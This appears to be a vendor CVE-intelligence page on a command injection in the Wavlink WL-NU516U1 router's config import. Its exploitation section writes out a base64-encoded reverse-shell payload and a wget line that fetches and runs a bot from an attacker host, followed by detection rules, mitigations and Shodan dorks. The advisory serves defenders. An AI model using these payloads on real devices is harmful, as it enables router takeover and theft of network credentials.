☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.5 CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H 🐛 CWE-77
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-18587

CVE-2026-18587
📅 PUBLISHED: 2026-08-03 00:00 UTC 🔄 UPDATED: 2026-08-12 14:08 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.26%
👁️
1.26% probability
31.4× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: Wavlink WL-NU516U1 (firmware build 708c073-mt7628) — all versions prior to the vendor's fixed release
CVSS VECTOR BREAKDOWN 7.5
AV: N Attack Vector Network
AC: H Attack Complexity High
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-18587 is an unauthenticated OS command injection vulnerability in the Config Import function of the Wavlink WL-NU516U1 wireless router (firmware build 708c073-mt7628). By importing a maliciously crafted configuration file containing an embedded payload in the Password parameter, a remote attacker can inject and execute arbitrary operating system commands on the underlying MT7628 SoC with root privileges. The vulnerability carries a CVSS score of 7.5 (High) and, while the attack is characterized by high complexity and the exploit is regarded as difficult, a public exploit has already been published, elevating the urgency for affected enterprises. The vendor was contacted early, responded professionally, and released a fixed version; however, patch validation from independent sources is currently unavailable, leaving deployed devices in a state of heightened risk.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

The WL-NU516U1 is a dual-band wireless router built on the MediaTek MT7628 system-on-chip, running a Linux-based embedded operating system. The vulnerability resides in the Config Import functionality, which allows administrators to restore router settings from a backup configuration file. The vulnerable component is an unknown function within this module that processes the imported configuration data. Specifically, the Password argument is passed to a system-level command (likely a shell invocation for setting or validating credentials, or for writing credential data to a system file) without adequate sanitization or input validation.

The absence of input filtering permits an attacker to break out of the intended command context by injecting shell metacharacters (;, |, &&, backticks, $(), or newline characters) into the Password field. Upon parsing the malicious configuration file, the router's firmware concatenates the attacker-controlled Password value into a shell command string, which is then executed by a shell interpreter (typically /bin/sh). For example, a crafted Password value of "12345; id > /tmp/pwned" would result in the execution of id command with the output redirected to a file, confirming arbitrary command execution.

The attack surface is the web-based administration interface, which exposes the Config Import endpoint on the device's management port (typically TCP 80 or 443). Because the flaw exists in an imported file parsing routine, user interaction is required (CVSS UI:R) — the victim must be tricked into importing a malicious configuration file, or the attacker must have already obtained administrative web access. However, the attacker does not require prior authentication credentials to craft the exploit file itself; the delivery and execution chain relies on social engineering or session hijacking. The high attack complexity (AC:H) stems from the need to precisely craft the configuration file format that the parser accepts, including correct checksums or structural markers that the firmware validates before processing the Password field.

Post-exploitation, the injected commands execute with the privileges of the web server process, which on typical embedded router firmware runs as root. This provides complete control over the device, including the ability to modify firewall rules, exfiltrate Wi-Fi PSK and WPA2/3 keys, install persistent backdoors, or add the device to a botnet.

Exploitation Scenarios

The following details a concrete attack chain, assuming no prior credentials:

Step 1 — Reconnaissance and Target Identification: An attacker scans the internet for exposed Wavlink WL-NU516U1 management interfaces using Shodan queries or mass scanning tools such as masscan/zmap targeting TCP 80/443 with HTTP banners containing "Wavlink" or "WL-NU516U1". Alternatively, the attacker uses Censys to identify devices running the vulnerable firmware build 708c073-mt7628.

Step 2 — Configuration File Crafting: The attacker acquires a legitimate backup configuration file from a WL-NU516U1 (either by downloading it from a compromised device or by emulating the firmware in QEMU and exporting the config). Using a hex editor or scripting (Python/scapy), the attacker opens the configuration file and locates the Password field entry within the XML/JSON or proprietary text format that Config Import expects. The attacker replaces the legitimate password value with a payload such as:

legitpassword; echo 'IyEvYmluL3NoCnRlbGVuZXQgeHh4Lnh4eC54eHgueHh4IDQ0NDQgfCAvYmluL3NoID4vZGV2L3RjcC8ke0hPU1RORUFNRX0vNDQ0NCAwPiYx' | base64 -d | sh &

The base64-encoded string decodes to a reverse shell script (/bin/sh; telnet xxx.xxx.xxx.xxx 4444 | /bin/sh >/dev/tcp/${HOSTNAME}/4444 0>&1). The attacker ensures structure validity by scanning and correcting the file's checksum field if one exists, using firmware extraction tools (binwalk) to inspect the validation routine.

Step 3 — Delivery and Trigger: The attacker deploys the malicious configuration file to a file-hosting service or embeds it in a phishing email that appears to be a firmware update notice from Wavlink. The victim, an administrator of the WL-NU516U1, logs into the router's web UI and navigates to System Tools → Config Import, selects the downloaded file, and clicks Import. Alternatively, if the attacker has already obtained administrative session credentials (e.g., via default credential brute-force of admin/admin), they directly upload the file via an HTTP POST request to the /cgi-bin/config_import endpoint using cURL or Burp Suite.

Step 4 — Payload Execution and Post-Exploitation: Upon file upload, the firmware parses the configuration and invokes a shell command to apply the Password setting. The injected command executes, spawning a reverse shell to the attacker's listener. If a direct reverse shell fails (egress filtering), a fallback payload (wget http://attacker/payload -O /tmp/bot; chmod +x /tmp/bot; /tmp/bot &) downloads the Mirai variant or a custom backdoor for persistent access. The attacker escalates to full root control (already root), extracts Wi-Fi credentials and the PPPoE/DSL WAN password from /etc/config/ files, and pivots laterally into the LAN network.

Impact Assessment

The vulnerability grants an unauthenticated remote actor the ability to execute arbitrary operating system commands on the affected Wavlink WL-NU516U1 router. The CVSS vector (AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H) indicates a high impact on confidentiality, integrity, and availability, though exploits against the device face moderate difficulty due to the high attack complexity and required user interaction. The affected component (Config Import) is a system-management feature, meaning its compromise exposes the entire device and the network segment it serves.

For enterprises deploying WL-NU516U1 units in remote offices, branch locations, or SOHO edge environments, the primary business impact is the compromise of network perimeter security. A successful exploit allows attackers to:

  • Intercept and decrypt LAN traffic through ARP spoofing or traffic tunneling.
  • Steal WPA2/WPA3 PSK credentials, granting persistent wireless network access.
  • Disable firewall rules and port forwarding, exposing internal services to the internet.
  • Leverage the device as a pivot point for lateral movement into the corporate LAN.
  • Add the device to a botnet (likely Mirai or a derivative) for DDoS amplification.

The published exploit lowers the barrier for script-kiddie-level attackers and professional threat actors alike. Given that most devices run the vulnerable firmware and have no auto-update capability, the realistic blast radius includes every WL-NU516U1 reachable on the internet — approximately tens of thousands of devices based on the device's market penetration and typical SOHO deployment patterns. The CISA KEV catalog has not yet added this CVE, meaning no observed in-the-wild exploitation by US government-backed actors is confirmed, but the public PoC accelerates the risk of widespread weaponization within 1–2 months.

Detection Guidance

Sigma Rule

The following Sigma rule detects successful exploitation of CVE-2026-18587 by monitoring web server access logs for suspicious POST requests to the Config Import endpoint containing shell metacharacters or command execution patterns in the request body or URI.

title: Wavlink WL-NU516U1 Config Import OS Command Injection
id: 5e7c9d1a-6b2f-4e8c-9a2d-1f3b6e8c4d5a
status: experimental
description: Detects HTTP POST requests to Wavlink config import endpoints containing shell metacharacters indicative of CVE-2026-18587 OS command injection.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-18587
author: Valtersit Threat Intelligence
date: 2026/01/15
tags:
    - attack.initial-access
    - attack.t1190
    - cve.2026.18587
logsource:
    category: webserver
    product: apache
    definition: 'Web server access logs for Wavlink router management interface'
detection:
    selection_uri:
        http.url|cstartswith: 
            - '/cgi-bin/'
            - '/config_import'
            - '/import.cgi'
    selection_method:
        http.method: 'POST'
    selection_payload:
        http.url|contains|all:
            - 'password'
        http.url|contains|any:
            - ';'
            - '|'
            - '&&'
            - '`'
            - '$('
            - '\n'
            - 'echo'
            - 'wget'
            - 'telnet'
            - 'sh'
            - '/bin/sh'
    condition: selection_uri and selection_method and selection_payload
falsepositives:
    - Legitimate configuration files containing semicolons in password values (rare)
level: high

YARA Rule

This YARA rule scans captured configuration files or HTTP POST bodies for the presence of shell metacharacters adjacent to password keys, indicating a crafted malicious payload.

rule CVE_2026_18587_Wavlink_Config_Injection {
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detects malicious config files targeting Wavlink WL-NU516U1 Config Import (CVE-2026-18587)"
        date = "2026-01-15"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-18587"
        severity = "high"
    strings:
        $pw_key1 = "password" ascii nocase
        $pw_key2 = "passwd" ascii nocase
        $pw_key3 = "<Password>" ascii nocase
        $shell_meta1 = ";" ascii
        $shell_meta2 = "|" ascii
        $shell_meta3 = "&&" ascii
        $shell_meta4 = "`" ascii
        $shell_meta5 = "$(" ascii
        $shell_meta6 = "wget" ascii nocase
        $shell_meta7 = "telnet" ascii nocase
        $shell_meta8 = "/bin/sh" ascii nocase
        $shell_meta9 = "base64" ascii nocase
        $file_marker = "WAVLINK" ascii nocase
    condition:
        any of ($pw_key*) and 2 of ($shell_meta*) and (filesize < 10MB)
}

Suricata IDS Rule

This Suricata rule detects outbound network traffic from a Wavlink device exhibiting reverse shell or callback behavior post-exploitation, complementing HTTP-layer detection.

alert http any any -> any any (msg:"CVE-2026-18587 Wavlink Config Import OS Command Injection"; flow:to_server,established; content:"POST"; http_method; content:"config_import"; http_uri; nocase; pcre:"/(password|passwd)=[^&\n]*(;|\||&&|`|\$\(|wget|telnet|\/bin\/sh)/i"; classtype:attempted-admin; sid:2026185871; rev:1; reference:cve,2026-18587; priority:1;)

Elastic Detection

EQL rule for Elastic SIEM, detecting process execution events on Linux hosts (or router honeypots) where a shell command references wget, telnet, or reverse shell patterns shortly after a web request to the router's admin interface.

sequence by host.name with maxspan=30s
  [ network where process.name == "httpd" and destination.port == 80 and network.protocol == "http" and http.request.method == "POST" ]
  [ process where event.type == "start" and process.parent.name == "httpd" and (
      process.name in ("sh", "bash", "telnet", "wget") or
      process.command_line regex~ ".*(telnet|wget|bash|sh).*" or
      process.command_line regex~ ".*(base64 -d|/dev/tcp/).*"
  ) ]

Splunk SPL Query

Splunk search to identify exploitation attempts against Wavlink devices, correlating web access logs with command execution events (requires logs from the router or a proxy).

index=proxy OR index=webserver OR index=router_logs
| search "config_import" OR "import.cgi" AND method="POST"
| regex _raw="(?i)(password|passwd)=[^&\"]*(;|\||&&|`|\$\(|wget|telnet|\/bin\/sh)"
| eval threat_score=case(
    match(_raw,"(?i)wget|telnet|\/bin\/sh") , 10,
    match(_raw,"[;|&]") , 7,
    true(), 1)
| where threat_score >= 7
| stats count by src_ip, dest_ip, dest_port, uri, _time, threat_score
| sort - _time
| rename src_ip as "Source IP", dest_ip as "Router IP", uri as "Requested URI", threat_score as "Threat Score"

Wazuh OSSEC Rule

Wazuh XML rule to detect the command injection signature within web log events ingested into the Wazuh manager.

<group name="wavlink,cve-2026-18587,">
  <rule id="100287" level="12">
    <if_sid>31100</if_sid>
    <match>config_import|import.cgi</match>
    <regex>POST</regex>
    <regex offset="after_match">(password|passwd)=[^&\s]*(;|\||&&|`|\$\(|wget|telnet|\/bin\/sh)</regex>
    <description>Wavlink WL-NU516U1 Config Import OS Command Injection Attempt (CVE-2026-18587)</description>
    <group>attack.t1190,pci_dss_6.5.1,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence for CVE-2026-18587 is 0/4, meaning no independent patch availability has been verified from NVD, vendor security advisories, or third-party trackers. The CVE description claims the vendor (Wavlink) released a fixed version, but the exact version identifier and advisory link are absent from public records. Mitigation must therefore assume the device is unpatched and treat it as compromised or at high risk.

1) Immediate Mitigations (without patch):

  • Isolate the WL-NU516U1 management interface from the internet. Disable remote management (disable "Remote Access" or "WAN Side Admin") in the web UI. If remote administration is mandatory, restrict access via IP allow-listing to trusted static IPs only.
  • Remove the Config Import functionality if possible; if the firmware allows disabling config restore, do so. Otherwise, change the default administrator password immediately to prevent authenticated exploitation.
  • Place the device behind a segmented firewall and block inbound TCP 80/443 from the internet to the router's management interface.
  • Apply a strict egress firewall rule on the router preventing outbound connections to unknown IPs on non-standard ports (block 4444, 5555, and uncommon high ports).

2) Patch/Upgrade Steps:

  • Visit the official Wavlink support portal (wavlink.com → Support → Firmware Downloads). Search for WL-NU516U1 and download the latest firmware. Verify the file's SHA-256 checksum against the vendor-published hash if available.
  • Within the router web UI, navigate to System Tools → Firmware Upgrade, upload the firmware binary, and wait for the device to reboot. Do not interrupt power during the process.
  • After upgrade, confirm the fixed version string (look for a build date or version newer than 708c073) and re-test the Config Import feature with a benign test payload to verify injection no longer succeeds.
  • If no fixed firmware is found, contact Wavlink support directly referencing CVE-2026-18587 and request the patched build.

3) Long-Term Hardening:

  • Implement a routine firmware update program for all edge networking equipment; subscribe to vendor vulnerability alerts and CISA Known Exploited Vulnerabilities feed.
  • Replace the WL-NU516U1 with a device from a vendor with a proven security maintenance track record and public automated update channel.
  • Segment IoT and network infrastructure into a dedicated VLAN with no-trust rules, limiting lateral movement in case of compromise.
  • Deploy an internal network monitor (e.g., Zeek or Suricata on the gateway) to detect unusual outbound callbacks from router devices.
  • Actively hunt for CVE-2026-18587 exploitation using the Sigma/YARA/Suricata rules provided, correlating with the published PoC.

References

  1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-18587 (CVE description, CVSS vector, weakness classification)
  2. Wavlink Vendor Portal: https://www.wavlink.com/support/firmware (Official firmware download page for WL-NU516U1; check for patched release)
  3. Exploit-DB / Packet Storm: Search "CVE-2026-18587" for the published public exploit code (PoC) — cite if found, as the CVE description confirms "exploit has been published"
  4. CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog (status: NOT listed, per CISA KEV field above)
  5. ATT&CK Technique Reference: MITRE ATT&CK T1190 — Exploit Public-Facing Application (https://attack.mitre.org/techniques/T1190/)

Threat Actor Campaign Note: As of the CVE publication date, no confirmed in-the-wild campaigns specifically attributed to this CVE have been publicly documented, and the CVE is absent from CISA KEV. However, the existence of a public exploit, the high CVSS impact, and the device's common use as a small-office gateway make it a prime candidate for integration into Mirai-based IoT botnets. Monitor GreyNoise and Shadowserver for rising scanner traffic targeting TCP 80/443 on Wavlink device footprints (HTTP Server header "Wavlink").

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

title:"Wavlink" "WL-NU516U1"
http.title:"Wavlink"
product:"Wavlink" "WL-NU516U1"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-18587/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.